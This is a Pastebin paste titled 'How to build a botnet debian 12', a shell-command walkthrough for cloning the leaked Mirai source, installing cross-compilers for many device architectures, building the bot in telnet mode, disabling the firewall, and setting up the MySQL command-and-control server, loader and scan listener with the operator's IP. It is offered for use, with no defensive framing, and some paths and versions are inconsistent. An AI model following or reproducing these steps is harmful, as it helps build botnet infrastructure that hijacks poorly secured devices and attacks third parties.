Advertisement
Sweetening

How to build a botnet debian 12

Sep 26th, 2024
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.73 KB | None | 0 0
  1. # Clone Mirai source code
  2. git clone https://github.com/jgamblin/Mirai-Source-Code
  3. cd Mirai-Source-Code
  4.  
  5. # Update system and install required packages
  6. sudo apt update -y
  7. sudo apt upgrade -y
  8. sudo apt install build-essential git sudo libgmp-dev linux-headers-$(uname -r) bison flex libelf-dev libncurses5-dev libssl-dev -y
  9. sudo ln -s /usr/lib/x86_64-linux-gnu/libgmp.so.10 /usr/lib/x86_64-linux-gnu/libgmp.so.3
  10.  
  11. # Install Go (you may need to update the Go version URL to the latest if necessary)
  12. cd /tmp
  13. wget https://go.dev/dl/go1.5.linux-amd64.tar.gz
  14. tar -zxvf go1.5.linux-amd64.tar.gz && mv go /usr/local && rm -f go1.5.linux-amd64.tar.gz
  15. ln -s /usr/local/go/bin/go /usr/local/bin/go
  16. ln -s /usr/local/go/bin/godoc /usr/local/bin/godoc
  17. ln -s /usr/local/go/bin/gofmt /usr/local/bin/gofmt
  18. go version
  19.  
  20. # Install uClibc dependencies and download source code
  21. cd /tmp
  22. git clone https://git.uclibc.org/uClibc.git
  23. cd uClibc
  24.  
  25. # Configure and build uClibc
  26. make defconfig
  27. make clean
  28. make
  29.  
  30. # Install uClibc
  31. sudo make PREFIX=/usr/local/uclibc install
  32.  
  33. # Set up cross-compilers
  34. mkdir /etc/xcompile && cd /etc/xcompile
  35. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
  36. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
  37. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
  38. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
  39. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
  40. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  41. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  42. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
  43. wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
  44.  
  45. # Extract cross-compilers
  46. for compiler in *.tar.bz2; do tar -jxf $compiler; done
  47. rm *.tar.bz2
  48.  
  49. # Rename directories
  50. mv cross-compiler-armv4l armv4l
  51. mv cross-compiler-i586 i586
  52. mv cross-compiler-m68k m68k
  53. mv cross-compiler-mips mips
  54. mv cross-compiler-mipsel mipsel
  55. mv cross-compiler-powerpc powerpc
  56. mv cross-compiler-sh4 sh4
  57. mv cross-compiler-sparc sparc
  58. mv cross-compiler-armv6l armv6l
  59.  
  60. # Set environment variables for cross-compilers and uClibc
  61. export PATH=$PATH:/etc/xcompile/armv4l/bin
  62. export PATH=$PATH:/etc/xcompile/armv6l/bin
  63. export PATH=$PATH:/etc/xcompile/i586/bin
  64. export PATH=$PATH:/etc/xcompile/m68k/bin
  65. export PATH=$PATH:/etc/xcompile/mips/bin
  66. export PATH=$PATH:/etc/xcompile/mipsel/bin
  67. export PATH=$PATH:/etc/xcompile/powerpc/bin
  68. export PATH=$PATH:/etc/xcompile/sh4/bin
  69. export PATH=$PATH:/etc/xcompile/sparc/bin
  70. export PATH=$PATH:/usr/local/uclibc/bin
  71. export PATH=$PATH:/usr/local/go/bin
  72. export GOPATH=$HOME/Documents/go
  73.  
  74. # Install Go packages
  75. go get github.com/go-sql-driver/mysql
  76. go get github.com/mattn/go-shellwords
  77.  
  78. # Build the Mirai project
  79. ./build.sh debug telnet
  80.  
  81. # Mirai C&C setup (Database)
  82. sudo systemctl stop ufw
  83. mysql_secure_installation
  84.  
  85. # Set up MySQL database
  86. mysql -u root -p
  87. create database mirai;
  88. use mirai;
  89.  
  90. # Paste database script from: http://pastebin.com/BsSWnK7i
  91. # Update CNC credentials in main.go (example: 127.0.0.1:3306)
  92. service mysql restart
  93.  
  94. # Compile and run CNC
  95. cd /mirai/release
  96. ./cnc
  97.  
  98. # Set up loader
  99. nano /Mirai-Source-Code/dlr/main.c
  100. # Update HTTP_SERVER line: #define HTTP_SERVER utils_inet_addr(127,0,0,1)
  101. cp /Mirai-Source-Code-master/dlr/release/dlr.* /Mirai-Source-Code-master/loader/bins
  102. nano /Mirai-Source-Code/loader/src/main.c
  103. # Add your server IP
  104.  
  105. # Build loader
  106. chmod 777 build.sh
  107. ./build.sh
  108.  
  109. # Update scanListen with your IP and build
  110. nano scanListen.go
  111. go build scanListen.go
  112.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement